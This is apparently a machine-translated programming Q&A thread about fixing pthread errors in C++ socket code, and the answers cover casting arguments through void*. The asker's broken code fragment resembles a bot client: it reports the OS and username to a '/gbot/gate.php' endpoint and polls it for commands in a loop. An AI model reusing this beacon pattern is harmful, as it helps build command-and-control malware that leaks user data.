2013-04-10 81 views
0
void* sendFirstReq(SOCKET Socket){ 
     char buffer[10000]; 
     string mybuf("GET /gbot/gate.php?page=ident&os="); 
     if(getenv("windir") != NULL){ 
      mybuf += "windows&username="; 
      mybuf += getenv("username"); 
      mybuf += "&version=win"; 
      mybuf += "\r\n\r\n"; 
     } 
     else 
      mybuf += "linux\r\n\r\n"; 
     send(Socket, mybuf.c_str(), mybuf.length(), 0); 
     recv(Socket, buffer, 10000, 0); 
     cout << buffer; 
} 

void* sendSecReq(SOCKET Socket){ 
    char buffer[10000]; 
    string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n"); 
    send(Socket, mybuf.c_str(), mybuf.length(), 0); 
    recv(Socket, buffer, 10000, 0); 
    cout << buffer; 
} 

while(true) 
    { 
     pthread_t t1; 
     pthread_t t2; 
     pthread_create(&t1, NULL, &sendFirstReq, NULL); 
     pthread_create(&t1, NULL, &sendSecReq, NULL); 
     _sleep(5000); 
    } 

這是我項目中的一段代碼。 我想多線程,但我得到一堆錯誤。 首先,void *函數必須得到一個void * arg,所以我可以發送SOCKET throgh? 而另一錯誤是:C++多線程錯誤和SOCKET

初始化的`INT在pthread_create(的pthread_t *, pthread_attr_t_ * const的*,無效*()(空隙),無效*)」

和論證3我不知道如何解決它,謝謝你的幫助。

回答

1

當你實現多線程時,請確保發送和接收不同的套接字! 也就是說,最好的方式來傳遞一個void *參數是一個結構,但我相信你可以在無效*發送不同的數據類型,只是一定要切它

例子:

void* sendFirstReq(void* arg); 
SOCKET socket; 
pthread_t a; 
pthread_create(&a,NULL,sendFirstReq(),(void*)&socket); 

和在sendFirstReq()中,分片參數 (SOCKET *)arg;

看到這個:: Passing parameter to pthread

+1

你的意思是「投」,而不是「切片」。切片在C++中是不同的。另請注意,從T *到void *的轉換是隱含的。反過來需要一個演員,而且應該是一個static_cast 。如果可以避免使用C風格的演員陣容,那麼他​​們很危險。 – 2013-04-10 18:59:05

+0

謝謝,我沒有使用它,因爲上述通常爲我工作:) – 2013-04-11 02:27:14

+1

是的,你會演員工作,毫無疑問。問題是如果你寫了例如「(void *)socket」而不是「(void *)&socket」,編譯器不會告訴你。如果您嘗試使用static_cast,編譯器會發出抱怨。 – 2013-04-11 04:29:54

1

這將幫助,如果你分割窩部件和多線程的一部分,所以你可以單獨處理它們。多線程的問題在於,你必須使用一個函數,併爲POSIX線程返回一個void指針。有兩種方式可以通過這個來傳遞其他的東西。第一種方式是分配的結構,並通過一個指向它在pthread_create:

void* thread_function(void* p) 
{ 
    mydata* ps = static_cast<mydata*>(p); 
    ... 
} 

mydata s = ...; 
pthread_create(..., thread_function, &s); 

事情看出來這裏是s有一個範圍,你必須確保它保持活躍,而線程正在使用它。這可能需要使用新的動態分配,這反過來需要小心以避免造成內存泄漏。它適用於小整數的另一種方法是直接將它們作爲指針:

void* thread_function(void* p) 
{ 
    int x = reinterpret_cast<int>(p); 
    ... 
} 

int x = ...; 
assert(sizeof x <= sizeof (void*)); 
pthread_create(..., thread_function, reinterpret_cast<void*>(x)); 

由於SOCKET是不超過一個指針的整數,你應該能夠做到這一點,這可能是最簡單的工作方式。